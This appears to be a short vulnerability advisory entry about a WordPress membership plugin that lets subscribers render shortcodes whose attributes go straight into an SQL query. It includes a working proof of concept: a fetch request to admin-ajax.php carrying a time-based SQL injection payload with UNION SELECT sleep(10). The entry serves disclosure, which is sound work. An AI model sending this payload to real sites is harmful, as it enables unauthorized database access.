The plugin does not prevent subscribers from rendering shortcodes that concatenate attributes directly into an SQL query.
While logged in as a subscriber, send the following request: (await fetch('/wp-admin/admin-ajax.php',{method:'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'},body:'action=parse-media-shortcode&shortcode=[membership delay="Y" levels="(-1)) UNION SELECT sleep(10)-- ,L"]'})).text() If successful, the request should hang for ~10 seconds, indicating we successfully injected something in the affected SQL query.
Marc Montpas
Marc Montpas
Yes
2023-02-27 (about 6 months ago)
2023-02-27 (about 6 months ago)
2023-02-27 (about 6 months ago)